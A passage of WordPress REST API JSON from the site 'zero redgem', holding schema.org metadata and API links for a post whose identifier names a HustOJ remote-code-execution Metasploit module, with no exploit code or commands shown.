RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54917","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=54917"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54917\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=54917"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=54917"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=54917"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}